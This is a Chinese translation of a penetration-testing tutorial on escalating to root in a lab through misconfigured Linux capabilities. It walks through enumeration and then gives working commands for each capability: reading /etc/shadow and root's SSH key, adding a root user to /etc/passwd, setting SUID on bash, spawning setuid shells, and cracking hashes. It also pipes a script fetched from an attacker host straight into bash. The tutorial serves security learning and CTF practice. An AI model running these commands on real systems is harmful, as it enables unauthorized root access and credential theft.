本文通过 Google 翻译 Capabilities -- Linux Privilege Escalation - Juggernaut-Sec 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 什么是 Capabilities ?](#1 什么是 Capabilities ?)
- [2 枚举 Capabilities](#2 枚举 Capabilities)
- [2.1 枚举 Capabilities - 手动方法](#2.1 枚举 Capabilities - 手动方法)
- [2.1.1 进程 Capabilities](#2.1.1 进程 Capabilities)
- [2.1.2 服务 Capabilities](#2.1.2 服务 Capabilities)
- [2.1.3 用户 Capabilities](#2.1.3 用户 Capabilities)
- [2.1.4 二进制 Capabilities](#2.1.4 二进制 Capabilities)
- [2.2 枚举 Capabilities -- LinPEAS 方法](#2.2 枚举 Capabilities – LinPEAS 方法)
- [2.1 枚举 Capabilities - 手动方法](#2.1 枚举 Capabilities - 手动方法)
- [3 利用各种 Capabilities](#3 利用各种 Capabilities)
- [3.1 cap_dac_read_search](#3.1 cap_dac_read_search)
- [3.1.1 cap_dac_read_search -- gdb](#3.1.1 cap_dac_read_search – gdb)
- [3.1.2 cap_dac_read_search -- perl](#3.1.2 cap_dac_read_search – perl)
- [3.1.3 cap_dac_read_search -- tar](#3.1.3 cap_dac_read_search – tar)
- [3.1.4 cap_dac_read_search -- vim](#3.1.4 cap_dac_read_search – vim)
- [3.2 cap_dac_override](#3.2 cap_dac_override)
- [3.2.1 cap_dac_override -- python3](#3.2.1 cap_dac_override – python3)
- [3.2.2 cap_dac_override -- vim](#3.2.2 cap_dac_override – vim)
- [3.3 cap_chown](#3.3 cap_chown)
- [3.3.1 capchown -- perl](#3.3.1 capchown – perl)
- [3.3.2 cap_chown -- python3](#3.3.2 cap_chown – python3)
- [3.4 cap_fowner](#3.4 cap_fowner)
- [3.4.1 cap_fowner -- python3](#3.4.1 cap_fowner – python3)
- [3.5 cap_setuid](#3.5 cap_setuid)
- [3.5.1 cap_setuid -- perl](#3.5.1 cap_setuid – perl)
- [3.5.2 cap_setuid -- python3](#3.5.2 cap_setuid – python3)
- [3.6 cap_setgid](#3.6 cap_setgid)
- [3.6.1 cap_setgid -- python3](#3.6.1 cap_setgid – python3)
- [3.1 cap_dac_read_search](#3.1 cap_dac_read_search)
- [4 最后的想法](#4 最后的想法)
0、前言
在这篇文章中,我们将深入探讨如何利用各种 Capabilities。具体来说,我们将看到攻击者如何利用六种不同的 Capabilities 来提升用户权限到 root 权限。
我们将使用手动方法和工具方法分别枚举 capabilities,一旦我们获得了可能被利用的 capabilities 列表,我们将逐一介绍如何利用它们。
1、什么是 Capabilities ?
Capabilities 是一种特殊属性,可提供通常为 root 级操作保留的特定(提升)权限。capabilities 的工作原理是将 root 权限分解为更小且独特的单元,这些单元可分配给进程、二进制文件、服务和用户。如果 capabilities 设置得过于宽松,或当 capabilities设置在"允许文件读取、文件写入或命令执行"的二进制文件上时,攻击者就可以将其权限提升至 root。
作为攻击者,当我们看到设置的 capabilites 时,我们需要考虑正在使用哪种功能?;该功能设置在什么位置?;以及,我们可以用此功能做什么?如果没有设置此功能,我们无法做什么?
例如,假设我们设置了一项 capabilites ,它允许文本编辑器命令(vim、nano 等)读取特权文件。那么,我们知道我们可以读取文件系统上的任何文件。这意味着我们可以查看敏感文件,如配置文件、/etc/shadow 文件,或者可能是 /root/.ssh 目录中的 id_rsa 文件。选项无穷无尽;但是,我们需要了解在具有这种功能的 Linux 系统上需要注意什么或什么是 "敏感 "的。
有关所有不同 Linux Capabilites的列表,请看[man](capabilities(7) - Linux manual page)手册。此外,您还可以访问本页面,以更全面地了解什么是功能及其工作原理。最后,HackTricks 有关Capabilites 的页面也是令人难以置信的,所以我也要把它链接到这里。
Linux 中有许多不同的 capabilities。例如,Ubuntu 16.04 上有 37 种功能,新版本中可能更多;然而,在本文中,我们将仅介绍其中较危险的 6 种功能。
2、枚举 Capabilities
在这个例子中,我们作为标准用户"Juggernaut"在 Linux(Ubuntu 16.04)目标上获得了立足点。
由于此 shell 不是使用 SSH 创建的,因此在获得立足点后,我们要做的第一件事就是将 shell 升级为完整 TTY(如果可以的话)。我们可以使用以下命令集执行此操作:
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm
现在我们有了完整的 TTY,我们可以使用箭头浏览命令历史记录、使用制表符补全、清除终端等等。
对于我们来说,完成上述步骤非常重要,因为我们将使用一些需要在完整 TTY 环境下进行交互的二进制命令。
完成这一步之后,我们就可以开始专注于枚举了。首先,我们将了解如何使用手动方法枚举 capabilities,然后我们将使用 LinPEAS 自动为我们找到所有相同的信息。
2.1、枚举 Capabilities - 手动方法
由于进程、二进制文件、服务和用户都可以设置 capabilities,因此有一些不同的命令以及不同的位置可以查找有关设置了哪些 capabilities 的信息。
在这篇文章中我们将重点关注二进制 capabilities,但也让我们快速了解一下如何定位其他类型【即进程、服务、用户】的 capabilities 。
2.1.1、进程 Capabilities
要查找正在运行的进程的 capabilities,我们首先需要确定我们感兴趣的进程。我们可以使用以下命令执行此操作:
ps -ef
找到感兴趣的进程后,记下 PID;例如,如果 PID 为 6306,则运行以下命令:
cat /proc/6306/status | grep Cap
我们可以看到它打印了五种类型的 capabilities:
- CapInh = 继承
- CapPrm = 允许
- CapEff = 有效
- CapBnd = 边界集
- CapAmb = 环境集
然后我们可以解码这些来查看该进程有什么(重点是 CapPrm):
capsh --decode=0000000000000004
太棒了!如果这个进程是 cat、vim、nano 等,那么它可以用来读取敏感文件。
2.1.2、服务 Capabilities
我们可以检查给定服务的 capabilities,但首先我们需要找到系统上有哪些服务。为此,我们可以检查以下位置:
- /usr/lib/systemd/system/*
- /etc/systemd/system/*
- /run/systemd/system/*
- /lib/systemd/system/*
找到感兴趣的服务后,使用cat 命令查看服务文件并查找AmbientCapabilities。
cat /lib/systemd/system/mysql.service
默认情况下,以 root 身份运行的服务将被分配所有 capabilities。然而,即使是非 root 级服务也可能过于 "能干",允许潜在的横向权限升级,这实际上就离 root 更近了一步。
2.1.3、用户 Capabilities
为用户分配的 capabilities,这意味着如果没有特别指定,用户执行的每个进程都将默认拥有为用户设置的 capabilities。
当 capabilities 已分配给单个用户时,可以在 /etc/security/capability.conf 文件中找到它们。如:
cat /etc/security/capability.conf
如果为用户提供了正确的 capabilities,那么他们的进程就会被劫持,从而提升权限。
2.1.4、二进制 Capabilities
好了,开始讲有趣的内容吧!二进制功能将成为本文的重点,因为我们将回顾在各种二进制命令上设置 6 种不同的 capabilities,这些 capabilities 将允许命令以特权读取访问任何事情,以及以 root 身份执行完整命令等一切操作。
要查找整个文件系统中所有设置了 capabilities 的二进制文件,我们可以使用以下命令:
getcap -r / 2>/dev/null
在这里,我们可以看到五个不同的二进制命令,它们设置了一大堆不同的 capabilities;最重要的是,它们都可以通过某种方式被利用,要么导致立即提升权限,要么让我们更接近提升权限。另外,请注意二进制文件的位置。通常会将原始二进制文件的副本移动到非标准位置,然后向其中添加功能,这样原始二进制文件就不会被篡改。
在进入精彩内容并查看上述每项突出功能的示例之前,让我们快速了解一下如何从 LinPEAS 的输出中找到这些功能。
注:关于用户、命令、进程之间的 Capabilities 关系。
root 进程的默认 ep 集功能是全部,而普通用户进程的默认 ep 集是空,当命令本身被赋予指定 Capabilities 之后,以不同用户身份执行,ep 集则会在原有的用户功能集基础上再进行命令功能集的功能集合并。 这一点在 root shell 环境中看不出来什么,但是在普通用户 shell 环境中差异很明显。
2.2、枚举 Capabilities -- LinPEAS 方法
LinPEAS 是一款终极的后渗透枚举工具,因为它提供了大量信息。在受害者上运行该工具后,我们将看到手动枚举发现的所有相同内容,甚至更多。然而,在使用工具之前展示手动步骤非常重要,这样我们才能了解工具的输出以及要查找的内容。
如果您没有 LinPEAS 的副本,您可以 在这里获取一份。
通常,当我们运行 LinPEAS 时,我们会不带参数运行"所有检查",然后从上到下逐行梳理所有输出。
运行完整扫描时的一个好技巧是将 PEAS 的输出重定向到文件,以便使用 grep快速解析常见漏洞和关键字。
获得 LinPEAS 副本后,我们通常会将副本传输给受害者。但是,在本例中,我们将把它下载到内存中,这样文件就不会接触磁盘。
首先,我们需要从linpeas.sh所在的目录在攻击者的机器上设置一个 HTTP 服务器。
python3 -m http.server 80
然后,回到受害机器上,我们可以使用以下命令将 LinPEAS 直接下载到内存中并执行:
curl 172.16.1.30/linpeas.sh | bash
通过将命令直接传送到 bash,curl 会将文件直接输入到 bash 中并执行我们尝试"下载"的脚本,而无需将脚本写入磁盘!
这里看到全是 0,证实文件没有下载到磁盘,这意味着脚本直接在内存中执行!
好了,脚本运行完毕后,我们可以梳理结果,看看是否有任何可利用的 capabilities。进入 Interesting Files 部分,我们可以看到 PEAS 寻找的所有不同类型的 capabilities,其中包括进程、文件和用户 capabilities。
这里我们可以看到很多红色/黄色的标识,这表明这些途径很可能导致我们的权限提升(95% 以上的确定性)。某些 capabilities 会出现红色/黄色,其他功能也会出现红色;但是,我们应该深入研究所有这些 capabilities,看看是否有办法让我们进行恶意攻击。
现在我们已经了解了如何枚举 capabilities,我们可以进入利用阶段,看看这些 capabilities 可以让我们做什么。
3、利用各种 Capabilities
对于利用示例,我们将重点关注以下六种 capabilities:
- cap_dac_read_search --> 允许任何文件读取。
- cap_dac_override --> 允许任何文件写入。
- cap_chown --> 允许任何文件的所有者更改。
- cap_fowner --> 允许任何文件的权限更改。
- cap_setuid --> 允许以特权方式执行二进制文件 -- 以文件所有者身份执行(相当于 SUID)
- cap_setgid --> 允许以特权方式执行设置二进制文件 -- 以组所有者身份执行(相当于 SGID)
为了找到利用这些 capabilities 的命令,我们将利用令人惊叹的 GTFOBins 网站。
GTFOBins 代表 Get The F*#k Out Binaries,它是精选的 Unix 二进制文件列表,可用于在配置错误的系统中绕过本地安全限制。
关于 GTFOBins 的一个重要提示是,给定二进制文件的 capabilities 函数通常围绕 cap_setuid 功能展开。但是,作为攻击者,我们应该考虑这种能力能让我们做什么,然后寻找与这种能力相关的特定功能或用法。例如,以下是可用于各种 Unix 二进制文件的函数列表。
我们看到 capabilities 被作为一个函数被列出,但如果我们只过滤具有此函数的二进制文件(即过滤条件为 +capabilities),我们就会错过很多其它可能。例如,让我们关注列表中的第一个功能:cap_dac_read_search。由于此功能允许我们以 root 级权限读取文件,我们可以过滤到 "File Read" 而不是 "Capabilities" ,我们会发现还有更多二进制文件可供使用。
上述陈述很重要,因为我们可能会找到具有功能集的二进制文件,但是当我们在仅过滤 capabilities 函数后检查 GTFOBins 时,我们可能看不到我们针对的二进制文件,然后假设它不存在漏洞。
注:当二进制命令拥有了像如 cap_dac_read_search 这样的能力时,即便该程序在 GTFOBins 网站中的 +capabilities 过滤条件下并未出现,但只要在 +file read 过滤条件下出现,那么就可以使用该命令对应的读文件的特殊方法进行任意特权文件的读取。
3.1、cap_dac_read_search
cap_dac_read_search 功能可让用户读取文件系统中的任意文件,包括 root 拥有的所有文件。如果我们发现文本编辑器(vim、nano 等)、脚本语言(python、perl、node 等)或压缩二进制文件(tar、zip、gzip 等)等二进制文件具有这种功能设置,我们就可以查找并读取系统中的任何敏感文件。
寻找 JUICY 文件有很多好去处;不过,这种功能通常不会为我们提供直接的 root 访问权限,但可以利用它来连锁利用以获得 root 权限。例如,如果 myapp.cnf 文件位于应用根目录中,并且具有 MySQL root 使用凭证,该怎么办?- 如果是这样,我们就有可能利用这一功能找到 MySQL 凭据以进入数据库。这样,我们就能发现 MySQL 服务器存在 UDF 漏洞,从而将我们提升到根目录。
要了解如何使用 MySQL 中的 UDF 漏洞将权限从标准用户提升到 root,请查看此处我关于此主题的帖子。
好的,从 PEAS 和手动枚举的输出中,我们可以看到以下二进制文件启用了 cap_dac_read_search 功能:gdb 、perl 、tar 、vim。
3.1.1、cap_dac_read_search -- gdb
如前所述,当检查gdb二进制文件的 GTFOBins 时,我们可以看到相当多的可用函数。
由于显而易见的原因,最突出的函数是 capabilities 函数;但是,如前所述,只有在二进制文件上设置了 cap_setuid 时,该函数才有用。由于 cap_dac_read_search 使我们能够读取敏感文件,因此我们应该将重点放在文件读取函数上。
现在我们知道要查找什么并且有了要使用的命令,让我们使用 gdb 转储 /etc/shadow 文件。
需要注意的是,我们需要使用二进制文件的绝对路径,或者cd到包含二进制文件的文件夹并使用 ./ 符号来执行我们的命令。由于设置了 capabilities 的二进制文件是原始二进制文件的副本,如果我们使用相对路径来执行它们,它将遵循 PATH 变量并最终执行默认的二进制命令而非设置了capabilities的命令。对于这些示例,我们将使用绝对路径来 100% 确保我们使用的是正确的二进制文件。此示例中的二进制文件位于 Juggernaut 用户家目录中下的名为 /bin 的自定义文件夹中。
/home/juggernaut/bin/gdb -nx -ex 'python print(open("/etc/shadow").read())' -ex quit
轰!就这样,我们发现自己能够读取影子文件,而作为标准用户,我们本不应该能够读取它。这样,我们现在就可以获取 root 哈希以及我们找到的所有其他用户哈希,并尝试破解它们,以将我们的权限水平提升到另一个标准用户或垂直提升到 root 用户。
3.1.2、cap_dac_read_search -- perl
与我们使用 gdb 二进制文件时一样,对于perl,我们也希望关注文件读取功能。
该命令使用 LFILE 作为变量,然后将该变量传递给 perl 命令。我们不需要这样做...相反,我们只需将第二条命令中的 $LFILE 替换为我们要读取的文件的绝对路径,就能实现同样的目的。
/home/juggernaut/bin/perl -ne print '/root/.ssh/id_rsa'
太棒了!就这样,我们发现我们能够转储 root 的 SSH 密钥!现在我们可以将此密钥复制到攻击者的机器上,然后以 root 身份通过 SSH 进入受害者!
复制整个密钥,然后将其粘贴到攻击者机器上的文本编辑器中。
接下来,我们需要使用以下命令降低此文件的权限:
chmod 600 ./root_id_rsa
现在我们可以使用 id_rsa 在不提供密码的情况下通过 SSH 获取 root shell。
ssh -i ./root_id_rsa root@172.16.1.175
3.1.3、cap_dac_read_search -- tar
首先检查 GTFObins 上的文件读取功能。
就像我们在 perl 中看到的那样,他们在 tar 命令中使用变量;但是,我们可以将第二个命令中的 $LFILE 替换为我们感兴趣的文件名,例如 root 的 bash 历史文件 - 作为示例。
/home/juggernaut/bin/tar xf "/root/.bash_history" -I '/bin/sh -c "cat 1>&2"'
有趣的是...在这里我们可以看到,通过转储 root 的 bash 历史记录文件,我们被提示在 root目录中存在一个名为 passwords.txt 的文件,而如果我们没有先检查这个文件,那就不会知道它的存在。
3.1.4、cap_dac_read_search -- vim
作为特权文件读取的最后一个示例,我们将使用文本编辑器"vim"打开文件并查看其内容。检查 GTFOBins 后,我们会看到以下内容:
非常简单,我们只需运行 vim 命令,然后运行我们要读取的文件。由于我们在上一个示例中的 /root 目录中发现了一个有趣的文件,名为 passwords.txt,因此让我们检查一下。
/home/juggernaut/bin/vim /root/passwords.txt
该文件里面是一份密码列表(正如预期的那样)。现在,我们可以拿着这份密码列表,尝试将它们输入到我们能输入的任何地方,希望其中一个密码能让我们更接近 root shell。
3.2、cap_dac_override
cap_dac_override 功能为用户提供了写入文件系统中任意文件的能力,其中包括 root 拥有的所有文件。如果我们发现二进制文件(例如文本编辑器(vim、nano 等)或脚本语言(python、perl、node 等))被分配了此功能...请注意!
我们认为读取 root 文件是危险的,想象一下如果我们能够写入任何 root 文件,我们会做什么?好吧,首先,我们可以在 /etc/passwd 文件中创建一个 root 用户,或者通过编辑 /etc/sudoers 文件为用户提供完整的 sudo 权限。我们可以使用许多选项来提升我们的权限,我们只需要稍微考虑一下。
从 PEAS 和手动枚举的输出中,我们可以看到以下二进制文件启用了 cap_dac_override 功能:python3 、vim。
3.2.1、cap_dac_override -- python3
再次利用 GTFObins,我们可以检查python(3) 的 File Write 条目。
这看起来很简单,但有一点我们需要解决,那就是追加数据。如果不指定追加数据,我们就会用一个条目完全覆盖 passwd 文件,这是非常糟糕的!
好的,让我们用它在 /etc/passwd 中创建一个新的 root 用户,以便我们可以 su 进入该用户帐户 - 用以有效地将我们的权限提升到 root。
为此,我们必须首先使用 openssl 创建一个散列密码。为简单起见,我们将密码设置为"password"。
openssl passwd password
请记下哈希值 eVpbhRfVtH1Uc 因为我们将在下一个命令中使用它。
因此,如果我们想创建一个名为 r00t 的用户,我们可以在 passwd 文件中添加以下行 :r00t:eVpbhRfVtH1Uc:0:0:root:/root:/bin/bash ,但首先我们需要更新命令以附加数据,只需将"w+"替换为"a"即可,如下所示:
/home/juggernaut/bin/python3 -c 'open("/etc/passwd","a").write("r00t:eVpbhRfVtH1Uc:0:0:root:/root:/bin/bash")'
现在我们只需使用 su r00t ,然后在提示时提供密码" password "。
3.2.2、cap_dac_override -- vim
有什么比使用 Python 编辑文件更简单?文本编辑器。如果在文本编辑器上设置了此功能,游戏很快就会结束。
就像我们使用 vim 读取文件一样,我们可以打开任何我们想要的文件,编辑它,然后保存更改。
举个例子,当我们以用户 juggernaut 的身份立足时,我们不知道他们的密码。此外,在枚举过程中,我们发现 juggernaut 属于 sudoers 组。问题是,默认情况下,要使用 sudo su 并成为 root,我们需要知道当前用户的密码。这时,编辑 sudoers 文件就派上用场了。
/home/juggernaut/bin/vim /etc/sudoers
如果我们向下滚动到上面突出显示的行,我们可以添加 NOPASSWD 来绕过密码提示。为此,我们需要首先按"i"键进入"插入"模式,然后编辑该行,如下所示:
完成后,按CTRL + C退出插入模式,然后输入:wq!以"强制写入并退出"。现在我们可以简单地使用 sudo su 并获得 root 提示符,而无需知道当前用户的密码!
3.3、cap_chown
cap_chown 功能为用户提供了更改文件系统中任意文件或目录所有权的能力,其中包括 root 拥有的所有文件和目录。如果我们发现脚本语言(python、perl、node 等)等二进制文件被赋予了这种能力,我们就可以使用系统命令来更改我们选择的任何文件的所有者。
这种能力特别危险的地方在于,它间接允许我们写入任何文件。我们需要做的就是先将文件的所有权更改为当前用户,编辑它,然后将所有权恢复到原始状态,就好像什么都没发生过一样。
从 PEAS 和手动枚举的输出中,我们可以看到以下二进制文件启用了 cap_chown 功能:perl 、python3。
3.3.1、capchown -- perl
对于此示例,我们将使用具有 cap_chown 功能的 perl 来更改影子文件的所有权,以便我们可以编辑它并更改 root 密码。
如果你对影子文件还不熟悉,那么它就是 Linux 中存储密码哈希值的地方。历史上,这些哈希值都存储在 /etc/passwd 中,但该文件需要能被标准用户读取,因此在那里存储哈希值是很危险的。因此,/etc/passwd 中存在一个 "x "占位符,用来存放哈希值,该值取自 /etc/shadow,默认情况下标准用户无法读取。
在我们采取恶意行动之前,我们需要从 /etc/passwd 文件中获取当前用户的 UID/GID,以便在更改文件所有权时使用它。
在这里我们可以看到我们的用户的 UID 和 GID 为 1000。我们还应该注意到 root 的 UID 和 GID 为 0。此外,影子组的 GID 为 42。
影子文件归 root 所有,属于"shadow"组,该组不是用户组,但对于任何需要获取密码哈希的程序来说,它都是必需的组。shadow 组是唯一允许访问影子文件的组权限。
好了,既然影子文件在 shadow 组中,我们可以将文件所有者更改为我们的用户,并将组所有权设置为 shadow (42)。这可以通过以下命令轻松完成:
/home/juggernaut/bin/perl -e 'chown 1000,42,"/etc/shadow"'
令人惊奇的是,我们可以在这里看到影子文件现在归 juggernaut(我们当前的用户)所有,并且我们对其具有写权限!
在对影子文件进行任何更改之前,我们需要做几件事。首先,让我们生成一个 SHA-512 哈希来替换为 root 设置的哈希,这将有效地更改 root 密码。为此,我们可以在攻击者机器上使用以下命令生成密码哈希(这会将密码设置为"password")。
mkpasswd -m sha-512 password
回到受害者,我们需要复制(备份)影子文件,以便在退出 root shell 后恢复它。这应该不是问题,因为我们现在是该文件的所有者。
好了,各个部件都准备好了,让我们把它们组装起来吧!
复制我们从攻击者机器生成的密码,然后使用受害者机器上的文本编辑器打开影子文件并用它替换现有的 root 密码。
前:
后:
一旦更改完成,请保存并关闭文件。
我们需要测试是否可以将用户切换为 root 用户。为此,我们只需使用su root ,然后在提示时输入密码,最终我们就会得到 root shell。
砰!成功了!现在我们有了 root shell,我们可以继续将备份影子文件复制到原始文件上,然后使用 chown 再次使 root 成为文件所有者。这样,一切都将恢复正常,我们仍然拥有 root shell。
3.3.2、cap_chown -- python3
因为 Python3 和 Perl 都是脚本语言,所以我们只回顾一个使用 Python3 的快速示例。我们可以改变一个目录的权限,比如 /root 目录,而不是改变文件的所有权以便编辑它。
/home/juggernaut/bin/python3 -c 'import os;os.chown("/root",1000,0)'
执行此命令后,我们对根文件夹拥有了完全访问权限。由于权限是从 /root 文件夹继承的,因此即使我们看到这些文件属于 root,我们仍然可以查看它们。
3.4、cap_fowner
cap_fowner 功能为用户提供了更改文件系统中任意文件或目录权限的能力,其中包括 root 拥有的所有文件和目录。如果我们发现脚本语言(python、perl、node 等)等二进制文件被赋予了这种能力,我们就可以使用系统命令来更改我们选择的任何文件的权限。
在我们本篇文章举例说明的所有功能中,这个可能是最危险的。因为我们可以使用该功能更改任何文件的权限,这意味着我们可以让任何文件成为全局可读可写,最糟糕的是,我们可以在任何二进制文件上设置 SUID 位。
从 PEAS 和手动枚举的输出中,我们可以看到以下二进制文件启用了 cap_fowner 功能:python3
3.4.1、cap_fowner -- python3
在本例中,我们可以做一些我们已经见过的事情,将任何文件的权限改为全局可写,例如 /etc/passwd 文件或 /etc/shadow 文件。我们也可以允许自己读取root文件夹并获取 SSH 密钥。不过,我们要做的是还没做过的事,在二进制文件上设置 SUID 位。
最简单的方法是将 SUID 位分配给 bash 或任何其他 shell 二进制文件;但是,如果我们想要发挥创造力,我们可以将 SUID 位添加到在 SUID 部分中找到的 GTFObins 上的任何二进制文件,然后按照步骤获取 root 权限。
要快速获得 root 权限,只需在 /bin/bash 上设置 SUID 位,如下所示:
/home/juggernaut/bin/python3 -c 'import os;os.chmod("/bin/bash", 0o4755)'
太棒了!我们已成功将 SUID 位添加到 bash。现在我们只需使用命令 /bin/bash -p 即可进入 root shell。
值得一提的一点是,篡改系统中的原始二进制文件是一种不好的做法。在不同的情况下,如果你发现可以在 bash 上设置 SUID 位,最好在 /tmp 或其他地方复制一份 bash,然后将 SUID 位应用到该副本中。但在本例中,我们无法这样做,所以只能修改原始二进制文件。
3.5、cap_setuid
cap_setuid 功能可能是我们在 CTF 中最常见的功能。该功能允许用户以 root 身份运行任何设置了该功能的二进制文件。如果我们发现脚本语言(python、perl、node 等)等二进制文件被分配了此功能,我们就可以使用系统命令轻松将其就地升级为 root。
查看 GTFObins 上 "Capabilities" 下的所有二进制文件,以了解我们可以利用此功能集滥用的不同二进制文件。
从 PEAS 和手动枚举的输出中,我们可以看到以下二进制文件启用了 cap_setuid 功能:perl 、python3。
3.5.1、cap_setuid -- perl
滥用 cap_setuid 功能的最简单方法是再次检查 GTFObins 并查看 "Capabilities" 部分 - 因为它们专门用于针对 cap_setuid 功能。
从上图我们可以看到,前两行命令将用于将此功能添加到 perl;但是,它已在我们的目标上设置。因此,对于我们的需求,我们只需使用底部的命令。此外,我们将调用 bash 而不是 sh,因为它是一个更好的 shell。
/home/juggernaut/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
3.5.2、cap_setuid -- python3
与 perl 相同,我们首先检查 python 的 GTFObins。
正如我们在 perl 中看到的那样,前两行命令将用于将此功能添加到 python;但是,它已经在我们的目标上设置了。同样,我们将只关注底部的命令,因为此功能已经在目标上,我们将用 "bash" 替换 "sh" 。
/home/juggernaut/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
3.6、cap_setgid
cap_setgid 功能使用户可以以组所有者身份运行任何已设置此功能的二进制文件。如果我们发现某个二进制文件(例如脚本语言 (python、perl、node 等))被分配了此功能,我们可以使用系统命令进入具有提升的组权限的 shell。
该功能并不如 cap_setuid 那么强大,因为作为组所有者,我们实际上只获得了提升的读取访问权限。
从 PEAS 和手动枚举的输出中,我们可以看到以下二进制文件启用了 cap_chown 功能:python3。
3.6.1、cap_setgid -- python3
当在 Python3 上设置此功能时,我们可以重复上面看到的相同命令,但将 "os.setuid" 替换为"os.setgid",以进入具有 root 组权限的 shell。
/home/juggernaut/bin/python3 -c 'import os; os.setgid(0); os.system("/bin/bash")'
我们仍然是用户 juggernaut ;但是,我们确实拥有 root 组权限。这意味着我们可以读取任何只有 root 可读的文件,并且在组权限中设置了 r 位 。
此外,上面的代码片段显示我们无法使用 root 组权限访问 root 文件夹。这是因为 root 文件夹根本没有设置任何组权限。
这意味着我们只能读取 root 文件夹之外的 root 组所拥有的文件。不幸的是,最适合读取的文件确实存在于 root 文件夹中,例如 .bash_history 或 id_rsa 文件。因此,如果我们碰巧在 /root 之外找到一个设置了 root 组权限但没有全局权限的文件,那么就可以从此 shell 读取该文件。
更好的选择是授予我们影子组权限,以便我们可以读取 /etc/shadow 文件。为此,我们可以将 setgid 设置为 42,而不是 0。
/home/juggernaut/bin/python3 -c 'import os; os.setgid(42); os.system("/bin/bash")'
这里我们可以看到,我们已经进入了具有 shadow 组权限的 shell。这样,我们就可以读取 shadow 文件了!
cat /etc/shadow
太棒了!这使我们能够访问影子文件,我们在其中找到了两个可以尝试破解的哈希值。
使用攻击者机器上的文本编辑器,我们可以复制这两个哈希值,然后开始破解密码。
完成后,我们可以使用 hashcat 或 John the Ripper 尝试破解这些文件。在本例中,我们将使用 hashcat。
我们可以使用以下命令来快速确定此哈希类型所需的破解模式:
hashcat -h | grep '$6'
这告诉我们破解模式是 1800。我们还知道哈希是 SHA-512,因为我们之前生成了自己的哈希来编辑影子文件,所以这看起来不错。
接下来,我们将首先通过测试 rockyou 单词表来开始破解哈希值,如果没有得到任何结果,我们可以对其进行扩展。
要扩展 Rockyou 的功能,可以尝试使用 best64 等规则,甚至寻找不同的单词表。说到哈希破解,Rockyou 并不是万能的。
hashcat -m 1800 ./hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt
随着破解的开始,我们很快就会发现这种哈希类型的破解速度并不是最快的。例如,这两个哈希大约需要 2.5 小时才能破解整个单词表。
由于这需要很长时间,所以更好的办法是在使用完整名单之前,先从 SecLists 中测试一些缩短的 Rockyou 名单。
hashcat -m 1800 ./hashes.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt -o cracked.txt
由于这是一个缩短的列表,我们仅用 48 秒就完成了整个过程,并且成功恢复了 1/2 个密码!
检查我们将输出重定向到的 "cracked.txt" 文件,我们可以看到我们已经破解了 juggernaut 用户的密码。
这告诉我们用户的密码是 P@ssw0rd ,并且从前面我们看到,该用户属于 sudo 组,只要我们知道用户的密码,就可以以 root 身份运行任何命令。你猜怎么着?------我们现在知道密码了,所以我们可以轻松提升到 root 权限!
当我们运行 sudo -l 命令时,系统会提示输入密码,成功输入密码后,我们看到当以该用户身份使用 sudo 时,我们拥有作为 root 的完全权限。
看到 (ALL) ALL 意味着我们可以简单地 sudo su -- 并成为 root 。
4、最后的想法
我们列举了六种不同功能的各种示例,但这只是皮毛,因为还有很多很多。我想通过这篇文章达到的目的不仅是向你展示如何利用这些特定功能,而且还要向你展示如何像黑客一样思考,以及你应该瞄准 Linux 系统中的哪些文件。
我希望重点介绍如何编辑 /etc/passwd 或 /etc/shadow 文件、如何使用 id_rsa 文件通过 SSH 登录、如何破解影子文件中的密码哈希值、SUID 位添加到 bash(或基本上任何二进制文件)后可以做什么 等等。